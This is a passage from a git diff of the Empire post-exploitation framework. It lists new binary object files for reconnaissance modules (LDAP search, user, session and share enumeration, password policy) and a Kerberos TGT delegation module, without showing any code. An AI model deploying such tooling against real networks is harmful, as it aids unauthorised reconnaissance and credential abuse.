b/empire/server/data/module_source/bof/situational_awareness/adcs_enum_com2/adcs_enum_com2.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/adcs_enum_com2/adcs_enum_com2.x86.o b/empire/server/data/module_source/bof/situational_awareness/adcs_enum_com2/adcs_enum_com2.x86.o new file mode 100644 index 000000000..d25bb6c9d Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/adcs_enum_com2/adcs_enum_com2.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/adv_audit_policies/adv_audit_policies.x64.o b/empire/server/data/module_source/bof/situational_awareness/adv_audit_policies/adv_audit_policies.x64.o new file mode 100644 index 000000000..0a2f0ee9c Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/adv_audit_policies/adv_audit_policies.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/adv_audit_policies/adv_audit_policies.x86.o b/empire/server/data/module_source/bof/situational_awareness/adv_audit_policies/adv_audit_policies.x86.o new file mode 100644 index 000000000..7f8df40fb Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/adv_audit_policies/adv_audit_policies.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/arp/arp.x64.o b/empire/server/data/module_source/bof/situational_awareness/arp/arp.x64.o new file mode 100644 index 000000000..849fc9363 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/arp/arp.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/arp/arp.x86.o b/empire/server/data/module_source/bof/situational_awareness/arp/arp.x86.o new file mode 100644 index 000000000..53795faad Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/arp/arp.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/cacls/cacls.x64.o b/empire/server/data/module_source/bof/situational_awareness/cacls/cacls.x64.o new file mode 100644 index 000000000..3ee2441d9 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/cacls/cacls.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/cacls/cacls.x86.o b/empire/server/data/module_source/bof/situational_awareness/cacls/cacls.x86.o new file mode 100644 index 000000000..53e92e38a Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/cacls/cacls.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/driversigs/driversigs.x64.o b/empire/server/data/module_source/bof/situational_awareness/driversigs/driversigs.x64.o new file mode 100644 index 000000000..31f316cb7 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/driversigs/driversigs.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/driversigs/driversigs.x86.o b/empire/server/data/module_source/bof/situational_awareness/driversigs/driversigs.x86.o new file mode 100644 index 000000000..561f3ecfa Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/driversigs/driversigs.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/enum_filter_driver/enum_filter_driver.x64.o b/empire/server/data/module_source/bof/situational_awareness/enum_filter_driver/enum_filter_driver.x64.o new file mode 100644 index 000000000..c96801ffb Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/enum_filter_driver/enum_filter_driver.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/enum_filter_driver/enum_filter_driver.x86.o b/empire/server/data/module_source/bof/situational_awareness/enum_filter_driver/enum_filter_driver.x86.o new file mode 100644 index 000000000..0dab697c0 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/enum_filter_driver/enum_filter_driver.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/enumlocalsessions/enumlocalsessions.x64.o b/empire/server/data/module_source/bof/situational_awareness/enumlocalsessions/enumlocalsessions.x64.o new file mode 100644 index 000000000..62bd65f1f Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/enumlocalsessions/enumlocalsessions.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/enumlocalsessions/enumlocalsessions.x86.o b/empire/server/data/module_source/bof/situational_awareness/enumlocalsessions/enumlocalsessions.x86.o new file mode 100644 index 000000000..693b879ef Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/enumlocalsessions/enumlocalsessions.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/env/env.x64.o b/empire/server/data/module_source/bof/situational_awareness/env/env.x64.o new file mode 100644 index 000000000..2bd08575d Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/env/env.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/env/env.x86.o b/empire/server/data/module_source/bof/situational_awareness/env/env.x86.o new file mode 100644 index 000000000..7e3000797 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/env/env.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/findLoadedModule/findLoadedModule.x64.o b/empire/server/data/module_source/bof/situational_awareness/findLoadedModule/findLoadedModule.x64.o new file mode 100644 index 000000000..17f721f70 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/findLoadedModule/findLoadedModule.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/findLoadedModule/findLoadedModule.x86.o b/empire/server/data/module_source/bof/situational_awareness/findLoadedModule/findLoadedModule.x86.o new file mode 100644 index 000000000..d68b3f26c Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/findLoadedModule/findLoadedModule.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/get-netsession/get-netsession.x64.o b/empire/server/data/module_source/bof/situational_awareness/get-netsession/get-netsession.x64.o new file mode 100644 index 000000000..9ec41596c Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/get-netsession/get-netsession.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/get-netsession/get-netsession.x86.o b/empire/server/data/module_source/bof/situational_awareness/get-netsession/get-netsession.x86.o new file mode 100644 index 000000000..47cee59e3 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/get-netsession/get-netsession.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/get_password_policy/get_password_policy.x64.o b/empire/server/data/module_source/bof/situational_awareness/get_password_policy/get_password_policy.x64.o new file mode 100644 index 000000000..9cb44c5d3 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/get_password_policy/get_password_policy.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/get_password_policy/get_password_policy.x86.o b/empire/server/data/module_source/bof/situational_awareness/get_password_policy/get_password_policy.x86.o new file mode 100644 index 000000000..78f737319 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/get_password_policy/get_password_policy.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/ipconfig/ipconfig.x64.o b/empire/server/data/module_source/bof/situational_awareness/ipconfig/ipconfig.x64.o new file mode 100644 index 000000000..14145c189 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/ipconfig/ipconfig.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/ipconfig/ipconfig.x86.o b/empire/server/data/module_source/bof/situational_awareness/ipconfig/ipconfig.x86.o new file mode 100644 index 000000000..f86c163e5 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/ipconfig/ipconfig.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/ldapsearch/ldapsearch.x64.o b/empire/server/data/module_source/bof/situational_awareness/ldapsearch/ldapsearch.x64.o new file mode 100644 index 000000000..0f1bc192c Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/ldapsearch/ldapsearch.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/ldapsearch/ldapsearch.x86.o b/empire/server/data/module_source/bof/situational_awareness/ldapsearch/ldapsearch.x86.o new file mode 100644 index 000000000..f7de21c22 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/ldapsearch/ldapsearch.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/list_firewall_rules/list_firewall_rules.x64.o b/empire/server/data/module_source/bof/situational_awareness/list_firewall_rules/list_firewall_rules.x64.o new file mode 100644 index 000000000..1b252d2b4 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/list_firewall_rules/list_firewall_rules.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/list_firewall_rules/list_firewall_rules.x86.o b/empire/server/data/module_source/bof/situational_awareness/list_firewall_rules/list_firewall_rules.x86.o new file mode 100644 index 000000000..3b9b3009d Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/list_firewall_rules/list_firewall_rules.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/listdns/listdns.x64.o b/empire/server/data/module_source/bof/situational_awareness/listdns/listdns.x64.o new file mode 100644 index 000000000..be2090cba Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/listdns/listdns.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/listdns/listdns.x86.o b/empire/server/data/module_source/bof/situational_awareness/listdns/listdns.x86.o new file mode 100644 index 000000000..7a8b76722 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/listdns/listdns.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/listmods/listmods.x64.o b/empire/server/data/module_source/bof/situational_awareness/listmods/listmods.x64.o new file mode 100644 index 000000000..c107f225a Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/listmods/listmods.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/listmods/listmods.x86.o b/empire/server/data/module_source/bof/situational_awareness/listmods/listmods.x86.o new file mode 100644 index 000000000..ed4d78abb Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/listmods/listmods.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/locale/locale.x64.o b/empire/server/data/module_source/bof/situational_awareness/locale/locale.x64.o new file mode 100644 index 000000000..d10e31d1b Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/locale/locale.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/locale/locale.x86.o b/empire/server/data/module_source/bof/situational_awareness/locale/locale.x86.o new file mode 100644 index 000000000..ceb1c4564 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/locale/locale.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/netgroup/netgroup.x64.o b/empire/server/data/module_source/bof/situational_awareness/netgroup/netgroup.x64.o new file mode 100644 index 000000000..80bab9c9e Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/netgroup/netgroup.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/netgroup/netgroup.x86.o b/empire/server/data/module_source/bof/situational_awareness/netgroup/netgroup.x86.o new file mode 100644 index 000000000..37f596ab3 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/netgroup/netgroup.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/netlocalgroup/netlocalgroup.x64.o b/empire/server/data/module_source/bof/situational_awareness/netlocalgroup/netlocalgroup.x64.o new file mode 100644 index 000000000..c7ec33a74 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/netlocalgroup/netlocalgroup.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/netlocalgroup/netlocalgroup.x86.o b/empire/server/data/module_source/bof/situational_awareness/netlocalgroup/netlocalgroup.x86.o new file mode 100644 index 000000000..f46f3bbac Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/netlocalgroup/netlocalgroup.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/netloggedon/netloggedon.x64.o b/empire/server/data/module_source/bof/situational_awareness/netloggedon/netloggedon.x64.o new file mode 100644 index 000000000..785374417 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/netloggedon/netloggedon.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/netloggedon/netloggedon.x86.o b/empire/server/data/module_source/bof/situational_awareness/netloggedon/netloggedon.x86.o new file mode 100644 index 000000000..e19f754b1 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/netloggedon/netloggedon.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/netshares/netshares.x64.o b/empire/server/data/module_source/bof/situational_awareness/netshares/netshares.x64.o new file mode 100644 index 000000000..271298595 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/netshares/netshares.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/netshares/netshares.x86.o b/empire/server/data/module_source/bof/situational_awareness/netshares/netshares.x86.o new file mode 100644 index 000000000..34952b99d Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/netshares/netshares.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/netstat/netstat.x64.o b/empire/server/data/module_source/bof/situational_awareness/netstat/netstat.x64.o new file mode 100644 index 000000000..683a3454f Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/netstat/netstat.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/netstat/netstat.x86.o b/empire/server/data/module_source/bof/situational_awareness/netstat/netstat.x86.o new file mode 100644 index 000000000..bc6b5b564 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/netstat/netstat.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/nettime/nettime.x64.o b/empire/server/data/module_source/bof/situational_awareness/nettime/nettime.x64.o new file mode 100644 index 000000000..48c6a9973 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/nettime/nettime.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/nettime/nettime.x86.o b/empire/server/data/module_source/bof/situational_awareness/nettime/nettime.x86.o new file mode 100644 index 000000000..87e090b53 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/nettime/nettime.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/netuptime/netuptime.x64.o b/empire/server/data/module_source/bof/situational_awareness/netuptime/netuptime.x64.o new file mode 100644 index 000000000..a7c7fe811 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/netuptime/netuptime.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/netuptime/netuptime.x86.o b/empire/server/data/module_source/bof/situational_awareness/netuptime/netuptime.x86.o new file mode 100644 index 000000000..1b401c5c2 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/netuptime/netuptime.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/netuse/netuse.x64.o b/empire/server/data/module_source/bof/situational_awareness/netuse/netuse.x64.o new file mode 100644 index 000000000..c513e6edf Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/netuse/netuse.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/netuse/netuse.x86.o b/empire/server/data/module_source/bof/situational_awareness/netuse/netuse.x86.o new file mode 100644 index 000000000..f80a73047 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/netuse/netuse.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/netuser/netuser.x64.o b/empire/server/data/module_source/bof/situational_awareness/netuser/netuser.x64.o new file mode 100644 index 000000000..ed9068012 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/netuser/netuser.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/netuser/netuser.x86.o b/empire/server/data/module_source/bof/situational_awareness/netuser/netuser.x86.o new file mode 100644 index 000000000..114326f72 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/netuser/netuser.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/netuserenum/netuserenum.x64.o b/empire/server/data/module_source/bof/situational_awareness/netuserenum/netuserenum.x64.o new file mode 100644 index 000000000..b9fd9a649 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/netuserenum/netuserenum.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/netuserenum/netuserenum.x86.o b/empire/server/data/module_source/bof/situational_awareness/netuserenum/netuserenum.x86.o new file mode 100644 index 000000000..3d9eee6b4 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/netuserenum/netuserenum.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/netview/netview.x64.o b/empire/server/data/module_source/bof/situational_awareness/netview/netview.x64.o new file mode 100644 index 000000000..bd2757373 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/netview/netview.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/netview/netview.x86.o b/empire/server/data/module_source/bof/situational_awareness/netview/netview.x86.o new file mode 100644 index 000000000..8df699e13 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/netview/netview.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/nonpagedldapsearch/nonpagedldapsearch.x64.o b/empire/server/data/module_source/bof/situational_awareness/nonpagedldapsearch/nonpagedldapsearch.x64.o new file mode 100644 index 000000000..3f2efcf03 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/nonpagedldapsearch/nonpagedldapsearch.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/nonpagedldapsearch/nonpagedldapsearch.x86.o b/empire/server/data/module_source/bof/situational_awareness/nonpagedldapsearch/nonpagedldapsearch.x86.o new file mode 100644 index 000000000..36065b015 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/nonpagedldapsearch/nonpagedldapsearch.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/notepad/notepad.x64.o b/empire/server/data/module_source/bof/situational_awareness/notepad/notepad.x64.o new file mode 100644 index 000000000..5405ff886 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/notepad/notepad.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/notepad/notepad.x86.o b/empire/server/data/module_source/bof/situational_awareness/notepad/notepad.x86.o new file mode 100644 index 000000000..285cecf07 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/notepad/notepad.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/nslookup/nslookup.x64.o b/empire/server/data/module_source/bof/situational_awareness/nslookup/nslookup.x64.o new file mode 100644 index 000000000..5ca9baf47 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/nslookup/nslookup.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/nslookup/nslookup.x86.o b/empire/server/data/module_source/bof/situational_awareness/nslookup/nslookup.x86.o new file mode 100644 index 000000000..8af5a66cf Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/nslookup/nslookup.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/probe/probe.x64.o b/empire/server/data/module_source/bof/situational_awareness/probe/probe.x64.o new file mode 100644 index 000000000..1c1123b15 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/probe/probe.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/probe/probe.x86.o b/empire/server/data/module_source/bof/situational_awareness/probe/probe.x86.o new file mode 100644 index 000000000..bf62b536b Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/probe/probe.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/reg_query/reg_query.x64.o b/empire/server/data/module_source/bof/situational_awareness/reg_query/reg_query.x64.o new file mode 100644 index 000000000..00bcc8315 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/reg_query/reg_query.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/reg_query/reg_query.x86.o b/empire/server/data/module_source/bof/situational_awareness/reg_query/reg_query.x86.o new file mode 100644 index 000000000..d1db59887 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/reg_query/reg_query.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/resources/resources.x64.o b/empire/server/data/module_source/bof/situational_awareness/resources/resources.x64.o new file mode 100644 index 000000000..9b2fb0e19 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/resources/resources.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/resources/resources.x86.o b/empire/server/data/module_source/bof/situational_awareness/resources/resources.x86.o new file mode 100644 index 000000000..462ac0d28 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/resources/resources.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/routeprint/routeprint.x64.o b/empire/server/data/module_source/bof/situational_awareness/routeprint/routeprint.x64.o new file mode 100644 index 000000000..bd91ec3ec Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/routeprint/routeprint.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/routeprint/routeprint.x86.o b/empire/server/data/module_source/bof/situational_awareness/routeprint/routeprint.x86.o new file mode 100644 index 000000000..ffcb8714c Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/routeprint/routeprint.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/sc_enum/sc_enum.x64.o b/empire/server/data/module_source/bof/situational_awareness/sc_enum/sc_enum.x64.o new file mode 100644 index 000000000..5cc3e9939 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/sc_enum/sc_enum.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/sc_enum/sc_enum.x86.o b/empire/server/data/module_source/bof/situational_awareness/sc_enum/sc_enum.x86.o new file mode 100644 index 000000000..ccd5ef38f Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/sc_enum/sc_enum.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/sc_qc/sc_qc.x64.o b/empire/server/data/module_source/bof/situational_awareness/sc_qc/sc_qc.x64.o new file mode 100644 index 000000000..0184a0480 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/sc_qc/sc_qc.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/sc_qc/sc_qc.x86.o b/empire/server/data/module_source/bof/situational_awareness/sc_qc/sc_qc.x86.o new file mode 100644 index 000000000..02070b7ca Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/sc_qc/sc_qc.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/sc_qdescription/sc_qdescription.x64.o b/empire/server/data/module_source/bof/situational_awareness/sc_qdescription/sc_qdescription.x64.o new file mode 100644 index 000000000..6dfda4a97 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/sc_qdescription/sc_qdescription.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/sc_qdescription/sc_qdescription.x86.o b/empire/server/data/module_source/bof/situational_awareness/sc_qdescription/sc_qdescription.x86.o new file mode 100644 index 000000000..7a22c77b4 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/sc_qdescription/sc_qdescription.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/sc_qfailure/sc_qfailure.x64.o b/empire/server/data/module_source/bof/situational_awareness/sc_qfailure/sc_qfailure.x64.o new file mode 100644 index 000000000..ed8b6bfe1 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/sc_qfailure/sc_qfailure.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/sc_qfailure/sc_qfailure.x86.o b/empire/server/data/module_source/bof/situational_awareness/sc_qfailure/sc_qfailure.x86.o new file mode 100644 index 000000000..fa0f951ba Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/sc_qfailure/sc_qfailure.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/sc_qtriggerinfo/sc_qtriggerinfo.x64.o b/empire/server/data/module_source/bof/situational_awareness/sc_qtriggerinfo/sc_qtriggerinfo.x64.o new file mode 100644 index 000000000..796266a47 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/sc_qtriggerinfo/sc_qtriggerinfo.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/sc_qtriggerinfo/sc_qtriggerinfo.x86.o b/empire/server/data/module_source/bof/situational_awareness/sc_qtriggerinfo/sc_qtriggerinfo.x86.o new file mode 100644 index 000000000..a48e7ce2c Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/sc_qtriggerinfo/sc_qtriggerinfo.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/sc_query/sc_query.x64.o b/empire/server/data/module_source/bof/situational_awareness/sc_query/sc_query.x64.o new file mode 100644 index 000000000..2d02a2f1d Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/sc_query/sc_query.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/sc_query/sc_query.x86.o b/empire/server/data/module_source/bof/situational_awareness/sc_query/sc_query.x86.o new file mode 100644 index 000000000..045e4963e Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/sc_query/sc_query.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/schtasksenum/schtasksenum.x64.o b/empire/server/data/module_source/bof/situational_awareness/schtasksenum/schtasksenum.x64.o new file mode 100644 index 000000000..bdc9a9e0a Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/schtasksenum/schtasksenum.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/schtasksenum/schtasksenum.x86.o b/empire/server/data/module_source/bof/situational_awareness/schtasksenum/schtasksenum.x86.o new file mode 100644 index 000000000..9c0fd6eb6 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/schtasksenum/schtasksenum.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/schtasksquery/schtasksquery.x64.o b/empire/server/data/module_source/bof/situational_awareness/schtasksquery/schtasksquery.x64.o new file mode 100644 index 000000000..1b38f14d3 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/schtasksquery/schtasksquery.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/schtasksquery/schtasksquery.x86.o b/empire/server/data/module_source/bof/situational_awareness/schtasksquery/schtasksquery.x86.o new file mode 100644 index 000000000..190621578 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/schtasksquery/schtasksquery.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/tasklist/tasklist.x64.o b/empire/server/data/module_source/bof/situational_awareness/tasklist/tasklist.x64.o new file mode 100644 index 000000000..4c30e7459 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/tasklist/tasklist.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/tasklist/tasklist.x86.o b/empire/server/data/module_source/bof/situational_awareness/tasklist/tasklist.x86.o new file mode 100644 index 000000000..b9edb170a Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/tasklist/tasklist.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/uptime/uptime.x64.o b/empire/server/data/module_source/bof/situational_awareness/uptime/uptime.x64.o new file mode 100644 index 000000000..0d8e7418e Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/uptime/uptime.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/uptime/uptime.x86.o b/empire/server/data/module_source/bof/situational_awareness/uptime/uptime.x86.o new file mode 100644 index 000000000..0fb5dae92 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/uptime/uptime.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/vssenum/vssenum.x64.o b/empire/server/data/module_source/bof/situational_awareness/vssenum/vssenum.x64.o new file mode 100644 index 000000000..95318ae11 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/vssenum/vssenum.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/vssenum/vssenum.x86.o b/empire/server/data/module_source/bof/situational_awareness/vssenum/vssenum.x86.o new file mode 100644 index 000000000..691788953 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/vssenum/vssenum.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/whoami/whoami.x64.o b/empire/server/data/module_source/bof/situational_awareness/whoami/whoami.x64.o new file mode 100644 index 000000000..1172aba95 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/whoami/whoami.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/whoami/whoami.x86.o b/empire/server/data/module_source/bof/situational_awareness/whoami/whoami.x86.o new file mode 100644 index 000000000..2de2b1f76 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/whoami/whoami.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/windowlist/windowlist.x64.o b/empire/server/data/module_source/bof/situational_awareness/windowlist/windowlist.x64.o new file mode 100644 index 000000000..c6e6a1065 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/windowlist/windowlist.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/windowlist/windowlist.x86.o b/empire/server/data/module_source/bof/situational_awareness/windowlist/windowlist.x86.o new file mode 100644 index 000000000..264e29481 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/windowlist/windowlist.x86.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/wmi_query/wmi_query.x64.o b/empire/server/data/module_source/bof/situational_awareness/wmi_query/wmi_query.x64.o new file mode 100644 index 000000000..be5e2229d Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/wmi_query/wmi_query.x64.o differ diff --git a/empire/server/data/module_source/bof/situational_awareness/wmi_query/wmi_query.x86.o b/empire/server/data/module_source/bof/situational_awareness/wmi_query/wmi_query.x86.o new file mode 100644 index 000000000..66d4770e1 Binary files /dev/null and b/empire/server/data/module_source/bof/situational_awareness/wmi_query/wmi_query.x86.o differ diff --git a/empire/server/data/module_source/bof/tgtdelegation/tgtdelegation.x64.o b/empire/server/data/module_source/bof/tgtdelegation/tgtdelegation.x64.o new file mode 100644 index 000000000..60af8bb37 Binary files /dev/null and b/empire/server/data/module_source/bof/tgtdelegation/tgtdelegation.x64.o differ diff --git a/empire/server/data/module_source/bof/tgtdelegation/tgtdelegation.x86.o 